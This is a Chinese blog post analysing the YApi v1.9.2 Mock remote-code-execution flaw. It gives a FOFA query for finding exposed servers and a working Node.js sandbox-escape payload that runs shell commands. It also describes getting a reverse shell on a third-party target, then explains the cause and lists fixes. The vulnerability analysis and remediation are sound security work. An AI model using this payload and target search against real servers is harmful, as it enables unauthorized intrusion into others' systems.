Yapi漏洞浅析
本篇写于该漏洞cnvd公开第二日,投稿某神众测,按他们要求修改了两版,最后告诉我不收。
实名diss,本来还有攻防的文章准备交,这顿操作着实把我恶心到了。
随后大批复现文章涌现,本篇就胎死腹中了。在自己博客发出来,备个份。
NO.1 YAPI
YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。
——GITHUB
1.影响范围
FOFA:title=="YApi-高效、易用、功能强大的可视化接口管理平台"
版本:v1.9.2
NO.2 起因
在7月8号某讯及某虎分别发布0day漏洞预警,由于YAPI为开源应用,遂开始在github上进行搜索。
这里有必要提一句,如果新纰漏的漏洞所在应用为开源应用,在Issues中往往能找到有用的东西👍。
点击就可以得到详情,看来是我们想找的那个。
但漏洞提交时间和某讯发的0day预警相差了快半年,由于某讯未公开漏洞细节,不太好实锤。不过从漏洞预警上看,应该是这个。
NO.3 复现
💖本次就该“0day”做一个简要复现。💖
1.目标
使用fofa进行搜索,共搜集1w+目标。
选取一个进行测试,点击进行注册。
2.mock配置
进入后新建项目。
选择“123”,进入项目配置页面,点击新建接口。
接口信息。
点击“高级Mock”,进行配置。
输入github上的payload
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
随后返回接口预览页面,点击Mock地址。
访问后获得whoami及ps信息
3.反弹shell
既然可以进行远程命令执行,这里弹个shell试试。
输入tcp反弹命令
在vps上监听相应端口。
访问Mock地址。
返回VPS中,可以看到shell已经反弹过来了。安全着想就不做下一步操作了,已反馈相关信息给该平台负责人。
NO.4 原理
由于yapi是用nodejs开发的,所以也存在nodejs的特性及缺陷点。
我们从公开的poc出发,做一个简要分析。
const sandbox = this; // 获取沙箱环境
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
这里想要探究命令执行的过程,得先了解Nodejs的VM库及部分函数。
1.沙箱
在Node.js官方标准库中有一个vm库,VM 模块提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码。JavaScript 代码可以被编译并立即运行,或编译、保存然后再运行。
2.child_process 子进程
child_process
模块提供了以与 popen(3)
类似但不完全相同的方式衍生子进程的能力。 此功能主要由 child_process.spawn()
函数提供
child_process.spawnSync()
、child_process.execSync()
和 child_process.execFileSync()
方法是同步的,将阻塞 Node.js 事件循环,暂停任何其他代码的执行,直到衍生的进程退出。
这里提出以上几个函数,主要因为他们有个共同特点。就是:任何包含 shell 元字符的输入都可用于触发任意命令执行。
3.Nodejs沙箱逃逸
综上,结合poc其实不难发现,YAPI的mock命令执行漏洞其实就是Nodejs的沙箱逃逸导致的命令执行。
借用csdn上分析文章的Nodejs沙箱逃逸配图辅助解释
篇幅有限,这里只对Nodejs沙箱逃逸做一个简单的解释。
在使用Nodejs创建vm环境后,会初始化对象sandbox。
由于this.constructor.constructor返回的是Function constructor,所以可以利用Function构造函数并执行。同时Function对象处于主程序中,这里构造的函数内的语句是返回process全局变量,结果是返回了主程序的环境变量,最终完成沙盒逃逸并执行代码。
沙箱逃逸的分析文章可参考:
https://blog.csdn.net/weixin_34293059/article/details/88915428
NO.5 修复
目前官方已发布升级包。
https://github.com/YMFE/yapi/releases/tag/1.9.3
临时修复及应急方案:
-
关闭YAPI用户注册功能,避免攻击者注册;
-
删除恶意注册用户,避免攻击者添加mock脚本;
-
删除恶意mock脚本,防止再被访问触发;